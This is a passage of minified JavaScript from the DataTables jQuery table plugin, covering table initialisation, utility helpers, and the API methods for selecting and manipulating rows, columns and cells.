R(r,"aoDrawCallback",g.fnDrawCallback,"user");R(r,"aoServerParams",g.fnServerParams,"user");R(r,"aoStateSaveParams",g.fnStateSaveParams,"user");R(r,"aoStateLoadParams",g.fnStateLoadParams,"user");R(r,"aoStateLoaded",g.fnStateLoaded,"user");R(r,"aoRowCallback",g.fnRowCallback,"user");R(r,"aoRowCreatedCallback",g.fnCreatedRow,"user");R(r,"aoHeaderCallback",g.fnHeaderCallback,"user");R(r,"aoFooterCallback",g.fnFooterCallback,"user");R(r,"aoInitComplete",g.fnInitComplete,"user");R(r,"aoPreDrawCallback",
|
||||
g.fnPreDrawCallback,"user");r.rowIdFn=ma(g.rowId);Fb(r);var C=r.oClasses;l.extend(C,u.ext.classes,g.oClasses);t.addClass(C.sTable);r.iInitDisplayStart===q&&(r.iInitDisplayStart=g.iDisplayStart,r._iDisplayStart=g.iDisplayStart);null!==g.iDeferLoading&&(r.bDeferLoading=!0,f=Array.isArray(g.iDeferLoading),r._iRecordsDisplay=f?g.iDeferLoading[0]:g.iDeferLoading,r._iRecordsTotal=f?g.iDeferLoading[1]:g.iDeferLoading);var G=r.oLanguage;l.extend(!0,G,g.oLanguage);G.sUrl?(l.ajax({dataType:"json",url:G.sUrl,
|
||||
success:function(I){P(p.oLanguage,I);la(I);l.extend(!0,G,I,r.oInit.oLanguage);F(r,null,"i18n",[r]);Aa(r)},error:function(){Aa(r)}}),n=!0):F(r,null,"i18n",[r]);null===g.asStripeClasses&&(r.asStripeClasses=[C.sStripeOdd,C.sStripeEven]);f=r.asStripeClasses;var ba=t.children("tbody").find("tr").eq(0);-1!==l.inArray(!0,l.map(f,function(I,H){return ba.hasClass(I)}))&&(l("tbody tr",this).removeClass(f.join(" ")),r.asDestroyStripes=f.slice());f=[];v=this.getElementsByTagName("thead");0!==v.length&&(wa(r.aoHeader,
|
||||
v[0]),f=Pa(r));if(null===g.aoColumns)for(v=[],k=0,m=f.length;k<m;k++)v.push(null);else v=g.aoColumns;k=0;for(m=v.length;k<m;k++)cb(r,f?f[k]:null);Hb(r,g.aoColumnDefs,v,function(I,H){Ia(r,I,H)});if(ba.length){var L=function(I,H){return null!==I.getAttribute("data-"+H)?H:null};l(ba[0]).children("th, td").each(function(I,H){var fa=r.aoColumns[I];if(fa.mData===I){var Z=L(H,"sort")||L(H,"order");H=L(H,"filter")||L(H,"search");if(null!==Z||null!==H)fa.mData={_:I+".display",sort:null!==Z?I+".@data-"+Z:q,
|
||||
type:null!==Z?I+".@data-"+Z:q,filter:null!==H?I+".@data-"+H:q},Ia(r,I)}})}var O=r.oFeatures;f=function(){if(g.aaSorting===q){var I=r.aaSorting;k=0;for(m=I.length;k<m;k++)I[k][1]=r.aoColumns[k].asSorting[0]}Va(r);O.bSort&&R(r,"aoDrawCallback",function(){if(r.bSorted){var Z=oa(r),Ba={};l.each(Z,function(X,ca){Ba[ca.src]=ca.dir});F(r,null,"order",[r,Z,Ba]);gc(r)}});R(r,"aoDrawCallback",function(){(r.bSorted||"ssp"===Q(r)||O.bDeferRender)&&Va(r)},"sc");I=t.children("caption").each(function(){this._captionSide=
|
||||
l(this).css("caption-side")});var H=t.children("thead");0===H.length&&(H=l("<thead/>").appendTo(t));r.nTHead=H[0];var fa=t.children("tbody");0===fa.length&&(fa=l("<tbody/>").insertAfter(H));r.nTBody=fa[0];H=t.children("tfoot");0===H.length&&0<I.length&&(""!==r.oScroll.sX||""!==r.oScroll.sY)&&(H=l("<tfoot/>").appendTo(t));0===H.length||0===H.children().length?t.addClass(C.sNoFooter):0<H.length&&(r.nTFoot=H[0],wa(r.aoFooter,r.nTFoot));if(g.aaData)for(k=0;k<g.aaData.length;k++)ia(r,g.aaData[k]);else(r.bDeferLoading||
|
||||
"dom"==Q(r))&&La(r,l(r.nTBody).children("tr"));r.aiDisplay=r.aiDisplayMaster.slice();r.bInitialised=!0;!1===n&&Aa(r)};R(r,"aoDrawCallback",Da,"state_save");g.bStateSave?(O.bStateSave=!0,hc(r,g,f)):f()}});c=null;return this},M,z,J,xb={},mc=/[\r\n\u2028]/g,Ya=/<.*?>/g,Dc=/^\d{2,4}[\.\/\-]\d{1,2}[\.\/\-]\d{1,2}([T ]{1}\d{1,2}[:\.]\d{2}([\.:]\d{2})?)?$/,Ec=/(\/|\.|\*|\+|\?|\||\(|\)|\[|\]|\{|\}|\\|\$|\^|\-)/g,vb=/['\u00A0,$£€¥%\u2009\u202F\u20BD\u20a9\u20BArfkɃΞ]/gi,aa=function(a){return a&&!0!==a&&"-"!==
|
||||
a?!1:!0},nc=function(a){var b=parseInt(a,10);return!isNaN(b)&&isFinite(a)?b:null},oc=function(a,b){xb[b]||(xb[b]=new RegExp(ob(b),"g"));return"string"===typeof a&&"."!==b?a.replace(/\./g,"").replace(xb[b],"."):a},yb=function(a,b,c){var d="string"===typeof a;if(aa(a))return!0;b&&d&&(a=oc(a,b));c&&d&&(a=a.replace(vb,""));return!isNaN(parseFloat(a))&&isFinite(a)},pc=function(a,b,c){return aa(a)?!0:aa(a)||"string"===typeof a?yb(a.replace(Ya,""),b,c)?!0:null:null},U=function(a,b,c){var d=[],e=0,h=a.length;
|
||||
if(c!==q)for(;e<h;e++)a[e]&&a[e][b]&&d.push(a[e][b][c]);else for(;e<h;e++)a[e]&&d.push(a[e][b]);return d},Fa=function(a,b,c,d){var e=[],h=0,f=b.length;if(d!==q)for(;h<f;h++)a[b[h]][c]&&e.push(a[b[h]][c][d]);else for(;h<f;h++)e.push(a[b[h]][c]);return e},pa=function(a,b){var c=[];if(b===q){b=0;var d=a}else d=b,b=a;for(a=b;a<d;a++)c.push(a);return c},qc=function(a){for(var b=[],c=0,d=a.length;c<d;c++)a[c]&&b.push(a[c]);return b},Oa=function(a){a:{if(!(2>a.length)){var b=a.slice().sort();for(var c=b[0],
|
||||
d=1,e=b.length;d<e;d++){if(b[d]===c){b=!1;break a}c=b[d]}}b=!0}if(b)return a.slice();b=[];e=a.length;var h,f=0;d=0;a:for(;d<e;d++){c=a[d];for(h=0;h<f;h++)if(b[h]===c)continue a;b.push(c);f++}return b},rc=function(a,b){if(Array.isArray(b))for(var c=0;c<b.length;c++)rc(a,b[c]);else a.push(b);return a},sc=function(a,b){b===q&&(b=0);return-1!==this.indexOf(a,b)};Array.isArray||(Array.isArray=function(a){return"[object Array]"===Object.prototype.toString.call(a)});Array.prototype.includes||(Array.prototype.includes=
|
||||
sc);String.prototype.trim||(String.prototype.trim=function(){return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")});String.prototype.includes||(String.prototype.includes=sc);u.util={throttle:function(a,b){var c=b!==q?b:200,d,e;return function(){var h=this,f=+new Date,g=arguments;d&&f<d+c?(clearTimeout(e),e=setTimeout(function(){d=q;a.apply(h,g)},c)):(d=f,a.apply(h,g))}},escapeRegex:function(a){return a.replace(Ec,"\\$1")},set:function(a){if(l.isPlainObject(a))return u.util.set(a._);if(null===
|
||||
a)return function(){};if("function"===typeof a)return function(c,d,e){a(c,"set",d,e)};if("string"!==typeof a||-1===a.indexOf(".")&&-1===a.indexOf("[")&&-1===a.indexOf("("))return function(c,d){c[a]=d};var b=function(c,d,e){e=hb(e);var h=e[e.length-1];for(var f,g,k=0,m=e.length-1;k<m;k++){if("__proto__"===e[k]||"constructor"===e[k])throw Error("Cannot set prototype values");f=e[k].match(Ga);g=e[k].match(qa);if(f){e[k]=e[k].replace(Ga,"");c[e[k]]=[];h=e.slice();h.splice(0,k+1);f=h.join(".");if(Array.isArray(d))for(g=
|
||||
0,m=d.length;g<m;g++)h={},b(h,d[g],f),c[e[k]].push(h);else c[e[k]]=d;return}g&&(e[k]=e[k].replace(qa,""),c=c[e[k]](d));if(null===c[e[k]]||c[e[k]]===q)c[e[k]]={};c=c[e[k]]}if(h.match(qa))c[h.replace(qa,"")](d);else c[h.replace(Ga,"")]=d};return function(c,d){return b(c,d,a)}},get:function(a){if(l.isPlainObject(a)){var b={};l.each(a,function(d,e){e&&(b[d]=u.util.get(e))});return function(d,e,h,f){var g=b[e]||b._;return g!==q?g(d,e,h,f):d}}if(null===a)return function(d){return d};if("function"===typeof a)return function(d,
|
||||
e,h,f){return a(d,e,h,f)};if("string"!==typeof a||-1===a.indexOf(".")&&-1===a.indexOf("[")&&-1===a.indexOf("("))return function(d,e){return d[a]};var c=function(d,e,h){if(""!==h){var f=hb(h);for(var g=0,k=f.length;g<k;g++){h=f[g].match(Ga);var m=f[g].match(qa);if(h){f[g]=f[g].replace(Ga,"");""!==f[g]&&(d=d[f[g]]);m=[];f.splice(0,g+1);f=f.join(".");if(Array.isArray(d))for(g=0,k=d.length;g<k;g++)m.push(c(d[g],e,f));d=h[0].substring(1,h[0].length-1);d=""===d?m:m.join(d);break}else if(m){f[g]=f[g].replace(qa,
|
||||
"");d=d[f[g]]();continue}if(null===d||d[f[g]]===q)return q;d=d[f[g]]}}return d};return function(d,e){return c(d,e,a)}}};var S=function(a,b,c){a[b]!==q&&(a[c]=a[b])},Ga=/\[.*?\]$/,qa=/\(\)$/,ma=u.util.get,ha=u.util.set,ob=u.util.escapeRegex,Sa=l("<div>")[0],Bc=Sa.textContent!==q,Cc=/<.*?>/g,mb=u.util.throttle,tc=[],N=Array.prototype,Fc=function(a){var b,c=u.settings,d=l.map(c,function(h,f){return h.nTable});if(a){if(a.nTable&&a.oApi)return[a];if(a.nodeName&&"table"===a.nodeName.toLowerCase()){var e=
|
||||
l.inArray(a,d);return-1!==e?[c[e]]:null}if(a&&"function"===typeof a.settings)return a.settings().toArray();"string"===typeof a?b=l(a):a instanceof l&&(b=a)}else return[];if(b)return b.map(function(h){e=l.inArray(this,d);return-1!==e?c[e]:null}).toArray()};var B=function(a,b){if(!(this instanceof B))return new B(a,b);var c=[],d=function(f){(f=Fc(f))&&c.push.apply(c,f)};if(Array.isArray(a))for(var e=0,h=a.length;e<h;e++)d(a[e]);else d(a);this.context=Oa(c);b&&l.merge(this,b);this.selector={rows:null,
|
||||
cols:null,opts:null};B.extend(this,this,tc)};u.Api=B;l.extend(B.prototype,{any:function(){return 0!==this.count()},concat:N.concat,context:[],count:function(){return this.flatten().length},each:function(a){for(var b=0,c=this.length;b<c;b++)a.call(this,this[b],b,this);return this},eq:function(a){var b=this.context;return b.length>a?new B(b[a],this[a]):null},filter:function(a){var b=[];if(N.filter)b=N.filter.call(this,a,this);else for(var c=0,d=this.length;c<d;c++)a.call(this,this[c],c,this)&&b.push(this[c]);
|
||||
return new B(this.context,b)},flatten:function(){var a=[];return new B(this.context,a.concat.apply(a,this.toArray()))},join:N.join,indexOf:N.indexOf||function(a,b){b=b||0;for(var c=this.length;b<c;b++)if(this[b]===a)return b;return-1},iterator:function(a,b,c,d){var e=[],h,f,g=this.context,k,m=this.selector;"string"===typeof a&&(d=c,c=b,b=a,a=!1);var n=0;for(h=g.length;n<h;n++){var p=new B(g[n]);if("table"===b){var t=c.call(p,g[n],n);t!==q&&e.push(t)}else if("columns"===b||"rows"===b)t=c.call(p,g[n],
|
||||
this[n],n),t!==q&&e.push(t);else if("column"===b||"column-rows"===b||"row"===b||"cell"===b){var v=this[n];"column-rows"===b&&(k=ab(g[n],m.opts));var x=0;for(f=v.length;x<f;x++)t=v[x],t="cell"===b?c.call(p,g[n],t.row,t.column,n,x):c.call(p,g[n],t,n,x,k),t!==q&&e.push(t)}}return e.length||d?(a=new B(g,a?e.concat.apply([],e):e),b=a.selector,b.rows=m.rows,b.cols=m.cols,b.opts=m.opts,a):this},lastIndexOf:N.lastIndexOf||function(a,b){return this.indexOf.apply(this.toArray.reverse(),arguments)},length:0,
|
||||
map:function(a){var b=[];if(N.map)b=N.map.call(this,a,this);else for(var c=0,d=this.length;c<d;c++)b.push(a.call(this,this[c],c));return new B(this.context,b)},pluck:function(a){var b=u.util.get(a);return this.map(function(c){return b(c)})},pop:N.pop,push:N.push,reduce:N.reduce||function(a,b){return Gb(this,a,b,0,this.length,1)},reduceRight:N.reduceRight||function(a,b){return Gb(this,a,b,this.length-1,-1,-1)},reverse:N.reverse,selector:null,shift:N.shift,slice:function(){return new B(this.context,
|
||||
this)},sort:N.sort,splice:N.splice,toArray:function(){return N.slice.call(this)},to$:function(){return l(this)},toJQuery:function(){return l(this)},unique:function(){return new B(this.context,Oa(this))},unshift:N.unshift});B.extend=function(a,b,c){if(c.length&&b&&(b instanceof B||b.__dt_wrapper)){var d,e=function(g,k,m){return function(){var n=k.apply(g,arguments);B.extend(n,n,m.methodExt);return n}};var h=0;for(d=c.length;h<d;h++){var f=c[h];b[f.name]="function"===f.type?e(a,f.val,f):"object"===
|
||||
f.type?{}:f.val;b[f.name].__dt_wrapper=!0;B.extend(a,b[f.name],f.propExt)}}};B.register=z=function(a,b){if(Array.isArray(a))for(var c=0,d=a.length;c<d;c++)B.register(a[c],b);else{d=a.split(".");var e=tc,h;a=0;for(c=d.length;a<c;a++){var f=(h=-1!==d[a].indexOf("()"))?d[a].replace("()",""):d[a];a:{var g=0;for(var k=e.length;g<k;g++)if(e[g].name===f){g=e[g];break a}g=null}g||(g={name:f,val:{},methodExt:[],propExt:[],type:"object"},e.push(g));a===c-1?(g.val=b,g.type="function"===typeof b?"function":l.isPlainObject(b)?
|
||||
"object":"other"):e=h?g.methodExt:g.propExt}}};B.registerPlural=J=function(a,b,c){B.register(a,c);B.register(b,function(){var d=c.apply(this,arguments);return d===this?this:d instanceof B?d.length?Array.isArray(d[0])?new B(d.context,d[0]):d[0]:q:d})};var uc=function(a,b){if(Array.isArray(a))return l.map(a,function(d){return uc(d,b)});if("number"===typeof a)return[b[a]];var c=l.map(b,function(d,e){return d.nTable});return l(c).filter(a).map(function(d){d=l.inArray(this,c);return b[d]}).toArray()};
|
||||
z("tables()",function(a){return a!==q&&null!==a?new B(uc(a,this.context)):this});z("table()",function(a){a=this.tables(a);var b=a.context;return b.length?new B(b[0]):a});J("tables().nodes()","table().node()",function(){return this.iterator("table",function(a){return a.nTable},1)});J("tables().body()","table().body()",function(){return this.iterator("table",function(a){return a.nTBody},1)});J("tables().header()","table().header()",function(){return this.iterator("table",function(a){return a.nTHead},
|
||||
1)});J("tables().footer()","table().footer()",function(){return this.iterator("table",function(a){return a.nTFoot},1)});J("tables().containers()","table().container()",function(){return this.iterator("table",function(a){return a.nTableWrapper},1)});z("draw()",function(a){return this.iterator("table",function(b){"page"===a?ja(b):("string"===typeof a&&(a="full-hold"===a?!1:!0),ka(b,!1===a))})});z("page()",function(a){return a===q?this.page.info().page:this.iterator("table",function(b){Ta(b,a)})});z("page.info()",
|
||||
function(a){if(0===this.context.length)return q;a=this.context[0];var b=a._iDisplayStart,c=a.oFeatures.bPaginate?a._iDisplayLength:-1,d=a.fnRecordsDisplay(),e=-1===c;return{page:e?0:Math.floor(b/c),pages:e?1:Math.ceil(d/c),start:b,end:a.fnDisplayEnd(),length:c,recordsTotal:a.fnRecordsTotal(),recordsDisplay:d,serverSide:"ssp"===Q(a)}});z("page.len()",function(a){return a===q?0!==this.context.length?this.context[0]._iDisplayLength:q:this.iterator("table",function(b){pb(b,a)})});var vc=function(a,b,
|
||||
c){if(c){var d=new B(a);d.one("draw",function(){c(d.ajax.json())})}if("ssp"==Q(a))ka(a,b);else{V(a,!0);var e=a.jqXHR;e&&4!==e.readyState&&e.abort();Qa(a,[],function(h){Ma(a);h=za(a,h);for(var f=0,g=h.length;f<g;f++)ia(a,h[f]);ka(a,b);V(a,!1)})}};z("ajax.json()",function(){var a=this.context;if(0<a.length)return a[0].json});z("ajax.params()",function(){var a=this.context;if(0<a.length)return a[0].oAjaxData});z("ajax.reload()",function(a,b){return this.iterator("table",function(c){vc(c,!1===b,a)})});
|
||||
z("ajax.url()",function(a){var b=this.context;if(a===q){if(0===b.length)return q;b=b[0];return b.ajax?l.isPlainObject(b.ajax)?b.ajax.url:b.ajax:b.sAjaxSource}return this.iterator("table",function(c){l.isPlainObject(c.ajax)?c.ajax.url=a:c.ajax=a})});z("ajax.url().load()",function(a,b){return this.iterator("table",function(c){vc(c,!1===b,a)})});var zb=function(a,b,c,d,e){var h=[],f,g,k;var m=typeof b;b&&"string"!==m&&"function"!==m&&b.length!==q||(b=[b]);m=0;for(g=b.length;m<g;m++){var n=b[m]&&b[m].split&&
|
||||
!b[m].match(/[\[\(:]/)?b[m].split(","):[b[m]];var p=0;for(k=n.length;p<k;p++)(f=c("string"===typeof n[p]?n[p].trim():n[p]))&&f.length&&(h=h.concat(f))}a=M.selector[a];if(a.length)for(m=0,g=a.length;m<g;m++)h=a[m](d,e,h);return Oa(h)},Ab=function(a){a||(a={});a.filter&&a.search===q&&(a.search=a.filter);return l.extend({search:"none",order:"current",page:"all"},a)},Bb=function(a){for(var b=0,c=a.length;b<c;b++)if(0<a[b].length)return a[0]=a[b],a[0].length=1,a.length=1,a.context=[a.context[b]],a;a.length=
|
||||
0;return a},ab=function(a,b){var c=[],d=a.aiDisplay;var e=a.aiDisplayMaster;var h=b.search;var f=b.order;b=b.page;if("ssp"==Q(a))return"removed"===h?[]:pa(0,e.length);if("current"==b)for(f=a._iDisplayStart,a=a.fnDisplayEnd();f<a;f++)c.push(d[f]);else if("current"==f||"applied"==f)if("none"==h)c=e.slice();else if("applied"==h)c=d.slice();else{if("removed"==h){var g={};f=0;for(a=d.length;f<a;f++)g[d[f]]=null;c=l.map(e,function(k){return g.hasOwnProperty(k)?null:k})}}else if("index"==f||"original"==
|
||||
f)for(f=0,a=a.aoData.length;f<a;f++)"none"==h?c.push(f):(e=l.inArray(f,d),(-1===e&&"removed"==h||0<=e&&"applied"==h)&&c.push(f));return c},Gc=function(a,b,c){var d;return zb("row",b,function(e){var h=nc(e),f=a.aoData;if(null!==h&&!c)return[h];d||(d=ab(a,c));if(null!==h&&-1!==l.inArray(h,d))return[h];if(null===e||e===q||""===e)return d;if("function"===typeof e)return l.map(d,function(k){var m=f[k];return e(k,m._aData,m.nTr)?k:null});if(e.nodeName){h=e._DT_RowIndex;var g=e._DT_CellIndex;if(h!==q)return f[h]&&
|
||||
f[h].nTr===e?[h]:[];if(g)return f[g.row]&&f[g.row].nTr===e.parentNode?[g.row]:[];h=l(e).closest("*[data-dt-row]");return h.length?[h.data("dt-row")]:[]}if("string"===typeof e&&"#"===e.charAt(0)&&(h=a.aIds[e.replace(/^#/,"")],h!==q))return[h.idx];h=qc(Fa(a.aoData,d,"nTr"));return l(h).filter(e).map(function(){return this._DT_RowIndex}).toArray()},a,c)};z("rows()",function(a,b){a===q?a="":l.isPlainObject(a)&&(b=a,a="");b=Ab(b);var c=this.iterator("table",function(d){return Gc(d,a,b)},1);c.selector.rows=
|
||||
a;c.selector.opts=b;return c});z("rows().nodes()",function(){return this.iterator("row",function(a,b){return a.aoData[b].nTr||q},1)});z("rows().data()",function(){return this.iterator(!0,"rows",function(a,b){return Fa(a.aoData,b,"_aData")},1)});J("rows().cache()","row().cache()",function(a){return this.iterator("row",function(b,c){b=b.aoData[c];return"search"===a?b._aFilterData:b._aSortData},1)});J("rows().invalidate()","row().invalidate()",function(a){return this.iterator("row",function(b,c){va(b,
|
||||
c,a)})});J("rows().indexes()","row().index()",function(){return this.iterator("row",function(a,b){return b},1)});J("rows().ids()","row().id()",function(a){for(var b=[],c=this.context,d=0,e=c.length;d<e;d++)for(var h=0,f=this[d].length;h<f;h++){var g=c[d].rowIdFn(c[d].aoData[this[d][h]]._aData);b.push((!0===a?"#":"")+g)}return new B(c,b)});J("rows().remove()","row().remove()",function(){var a=this;this.iterator("row",function(b,c,d){var e=b.aoData,h=e[c],f,g;e.splice(c,1);var k=0;for(f=e.length;k<
|
||||
f;k++){var m=e[k];var n=m.anCells;null!==m.nTr&&(m.nTr._DT_RowIndex=k);if(null!==n)for(m=0,g=n.length;m<g;m++)n[m]._DT_CellIndex.row=k}Na(b.aiDisplayMaster,c);Na(b.aiDisplay,c);Na(a[d],c,!1);0<b._iRecordsDisplay&&b._iRecordsDisplay--;qb(b);c=b.rowIdFn(h._aData);c!==q&&delete b.aIds[c]});this.iterator("table",function(b){for(var c=0,d=b.aoData.length;c<d;c++)b.aoData[c].idx=c});return this});z("rows.add()",function(a){var b=this.iterator("table",function(d){var e,h=[];var f=0;for(e=a.length;f<e;f++){var g=
|
||||
a[f];g.nodeName&&"TR"===g.nodeName.toUpperCase()?h.push(La(d,g)[0]):h.push(ia(d,g))}return h},1),c=this.rows(-1);c.pop();l.merge(c,b);return c});z("row()",function(a,b){return Bb(this.rows(a,b))});z("row().data()",function(a){var b=this.context;if(a===q)return b.length&&this.length?b[0].aoData[this[0]]._aData:q;var c=b[0].aoData[this[0]];c._aData=a;Array.isArray(a)&&c.nTr&&c.nTr.id&&ha(b[0].rowId)(a,c.nTr.id);va(b[0],this[0],"data");return this});z("row().node()",function(){var a=this.context;return a.length&&
|
||||
this.length?a[0].aoData[this[0]].nTr||null:null});z("row.add()",function(a){a instanceof l&&a.length&&(a=a[0]);var b=this.iterator("table",function(c){return a.nodeName&&"TR"===a.nodeName.toUpperCase()?La(c,a)[0]:ia(c,a)});return this.row(b[0])});l(A).on("plugin-init.dt",function(a,b){a=new B(b);a.on("stateSaveParams",function(d,e,h){d=e.rowIdFn;e=e.aoData;for(var f=[],g=0;g<e.length;g++)e[g]._detailsShow&&f.push("#"+d(e[g]._aData));h.childRows=f});var c=a.state.loaded();c&&c.childRows&&a.rows(l.map(c.childRows,
|
||||
function(d){return d.replace(/:/g,"\\:")})).every(function(){F(b,null,"requestChild",[this])})});var Hc=function(a,b,c,d){var e=[],h=function(f,g){if(Array.isArray(f)||f instanceof l)for(var k=0,m=f.length;k<m;k++)h(f[k],g);else f.nodeName&&"tr"===f.nodeName.toLowerCase()?e.push(f):(k=l("<tr><td></td></tr>").addClass(g),l("td",k).addClass(g).html(f)[0].colSpan=na(a),e.push(k[0]))};h(c,d);b._details&&b._details.detach();b._details=l(e);b._detailsShow&&b._details.insertAfter(b.nTr)},wc=u.util.throttle(function(a){Da(a[0])},
|
||||
500),Cb=function(a,b){var c=a.context;c.length&&(a=c[0].aoData[b!==q?b:a[0]])&&a._details&&(a._details.remove(),a._detailsShow=q,a._details=q,l(a.nTr).removeClass("dt-hasChild"),wc(c))},xc=function(a,b){var c=a.context;if(c.length&&a.length){var d=c[0].aoData[a[0]];d._details&&((d._detailsShow=b)?(d._details.insertAfter(d.nTr),l(d.nTr).addClass("dt-hasChild")):(d._details.detach(),l(d.nTr).removeClass("dt-hasChild")),F(c[0],null,"childRow",[b,a.row(a[0])]),Ic(c[0]),wc(c))}},Ic=function(a){var b=new B(a),
|
||||
c=a.aoData;b.off("draw.dt.DT_details column-sizing.dt.DT_details destroy.dt.DT_details");0<U(c,"_details").length&&(b.on("draw.dt.DT_details",function(d,e){a===e&&b.rows({page:"current"}).eq(0).each(function(h){h=c[h];h._detailsShow&&h._details.insertAfter(h.nTr)})}),b.on("column-sizing.dt.DT_details",function(d,e,h,f){if(a===e)for(e=na(e),h=0,f=c.length;h<f;h++)d=c[h],d._details&&d._details.children("td[colspan]").attr("colspan",e)}),b.on("destroy.dt.DT_details",function(d,e){if(a===e)for(d=0,e=
|
||||
c.length;d<e;d++)c[d]._details&&Cb(b,d)}))};z("row().child()",function(a,b){var c=this.context;if(a===q)return c.length&&this.length?c[0].aoData[this[0]]._details:q;!0===a?this.child.show():!1===a?Cb(this):c.length&&this.length&&Hc(c[0],c[0].aoData[this[0]],a,b);return this});z(["row().child.show()","row().child().show()"],function(a){xc(this,!0);return this});z(["row().child.hide()","row().child().hide()"],function(){xc(this,!1);return this});z(["row().child.remove()","row().child().remove()"],function(){Cb(this);
|
||||
return this});z("row().child.isShown()",function(){var a=this.context;return a.length&&this.length?a[0].aoData[this[0]]._detailsShow||!1:!1});var Jc=/^([^:]+):(name|visIdx|visible)$/,yc=function(a,b,c,d,e){c=[];d=0;for(var h=e.length;d<h;d++)c.push(T(a,e[d],b));return c},Kc=function(a,b,c){var d=a.aoColumns,e=U(d,"sName"),h=U(d,"nTh");return zb("column",b,function(f){var g=nc(f);if(""===f)return pa(d.length);if(null!==g)return[0<=g?g:d.length+g];if("function"===typeof f){var k=ab(a,c);return l.map(d,
|
||||
function(p,t){return f(t,yc(a,t,0,0,k),h[t])?t:null})}var m="string"===typeof f?f.match(Jc):"";if(m)switch(m[2]){case "visIdx":case "visible":g=parseInt(m[1],10);if(0>g){var n=l.map(d,function(p,t){return p.bVisible?t:null});return[n[n.length+g]]}return[ta(a,g)];case "name":return l.map(e,function(p,t){return p===m[1]?t:null});default:return[]}if(f.nodeName&&f._DT_CellIndex)return[f._DT_CellIndex.column];g=l(h).filter(f).map(function(){return l.inArray(this,h)}).toArray();if(g.length||!f.nodeName)return g;
|
||||
g=l(f).closest("*[data-dt-column]");return g.length?[g.data("dt-column")]:[]},a,c)};z("columns()",function(a,b){a===q?a="":l.isPlainObject(a)&&(b=a,a="");b=Ab(b);var c=this.iterator("table",function(d){return Kc(d,a,b)},1);c.selector.cols=a;c.selector.opts=b;return c});J("columns().header()","column().header()",function(a,b){return this.iterator("column",function(c,d){return c.aoColumns[d].nTh},1)});J("columns().footer()","column().footer()",function(a,b){return this.iterator("column",function(c,
|
||||
d){return c.aoColumns[d].nTf},1)});J("columns().data()","column().data()",function(){return this.iterator("column-rows",yc,1)});J("columns().dataSrc()","column().dataSrc()",function(){return this.iterator("column",function(a,b){return a.aoColumns[b].mData},1)});J("columns().cache()","column().cache()",function(a){return this.iterator("column-rows",function(b,c,d,e,h){return Fa(b.aoData,h,"search"===a?"_aFilterData":"_aSortData",c)},1)});J("columns().nodes()","column().nodes()",function(){return this.iterator("column-rows",
|
||||
function(a,b,c,d,e){return Fa(a.aoData,e,"anCells",b)},1)});J("columns().visible()","column().visible()",function(a,b){var c=this,d=this.iterator("column",function(e,h){if(a===q)return e.aoColumns[h].bVisible;var f=e.aoColumns,g=f[h],k=e.aoData,m;if(a!==q&&g.bVisible!==a){if(a){var n=l.inArray(!0,U(f,"bVisible"),h+1);f=0;for(m=k.length;f<m;f++){var p=k[f].nTr;e=k[f].anCells;p&&p.insertBefore(e[h],e[n]||null)}}else l(U(e.aoData,"anCells",h)).detach();g.bVisible=a}});a!==q&&this.iterator("table",function(e){xa(e,
|
||||
e.aoHeader);xa(e,e.aoFooter);e.aiDisplay.length||l(e.nTBody).find("td[colspan]").attr("colspan",na(e));Da(e);c.iterator("column",function(h,f){F(h,null,"column-visibility",[h,f,a,b])});(b===q||b)&&c.columns.adjust()});return d});J("columns().indexes()","column().index()",function(a){return this.iterator("column",function(b,c){return"visible"===a?ua(b,c):c},1)});z("columns.adjust()",function(){return this.iterator("table",function(a){sa(a)},1)});z("column.index()",function(a,b){if(0!==this.context.length){var c=
|
||||
this.context[0];if("fromVisible"===a||"toData"===a)return ta(c,b);if("fromData"===a||"toVisible"===a)return ua(c,b)}});z("column()",function(a,b){return Bb(this.columns(a,b))});var Lc=function(a,b,c){var d=a.aoData,e=ab(a,c),h=qc(Fa(d,e,"anCells")),f=l(rc([],h)),g,k=a.aoColumns.length,m,n,p,t,v,x;return zb("cell",b,function(w){var r="function"===typeof w;if(null===w||w===q||r){m=[];n=0;for(p=e.length;n<p;n++)for(g=e[n],t=0;t<k;t++)v={row:g,column:t},r?(x=d[g],w(v,T(a,g,t),x.anCells?x.anCells[t]:null)&&
|
||||
m.push(v)):m.push(v);return m}if(l.isPlainObject(w))return w.column!==q&&w.row!==q&&-1!==l.inArray(w.row,e)?[w]:[];r=f.filter(w).map(function(C,G){return{row:G._DT_CellIndex.row,column:G._DT_CellIndex.column}}).toArray();if(r.length||!w.nodeName)return r;x=l(w).closest("*[data-dt-row]");return x.length?[{row:x.data("dt-row"),column:x.data("dt-column")}]:[]},a,c)};z("cells()",function(a,b,c){l.isPlainObject(a)&&(a.row===q?(c=a,a=null):(c=b,b=null));l.isPlainObject(b)&&(c=b,b=null);if(null===b||b===
|
||||
q)return this.iterator("table",function(n){return Lc(n,a,Ab(c))});var d=c?{page:c.page,order:c.order,search:c.search}:{},e=this.columns(b,d),h=this.rows(a,d),f,g,k,m;d=this.iterator("table",function(n,p){n=[];f=0;for(g=h[p].length;f<g;f++)for(k=0,m=e[p].length;k<m;k++)n.push({row:h[p][f],column:e[p][k]});return n},1);d=c&&c.selected?this.cells(d,c):d;l.extend(d.selector,{cols:b,rows:a,opts:c});return d});J("cells().nodes()","cell().node()",function(){return this.iterator("cell",function(a,b,c){return(a=
|
||||
a.aoData[b])&&a.anCells?a.anCells[c]:q},1)});z("cells().data()",function(){return this.iterator("cell",function(a,b,c){return T(a,b,c)},1)});J("cells().cache()","cell().cache()",function(a){a="search"===a?"_aFilterData":"_aSortData";return this.iterator("cell",function(b,c,d){return b.aoData[c][a][d]},1)});J("cells().render()","cell().render()",function(a){return this.iterator("cell",function(b,c,d){return T(b,c,d,a)},1)});J("cells().indexes()","cell().index()",function(){return this.iterator("cell",
|
||||
function(a,b,c){return{row:b,column:c,columnVisible:ua(a,c)}},1)});J("cells().invalidate()","cell().invalidate()",function(a){return this.iterator("cell",function(b,c,d){va(b,c,a,d)})});z("cell()",function(a,b,c){return Bb(this.cells(a,b,c))});z("cell().data()",function(a){var b=this.context,c=this[0];if(a===q)return b.length&&c.length?T(b[0],c[0].row,c[0].column):q;Ib(b[0],c[0].row,c[0].column,a);va(b[0],c[0].row,"data",c[0].column);return this});z("order()",function(a,b){var c=this.context;if(a===
|
||||
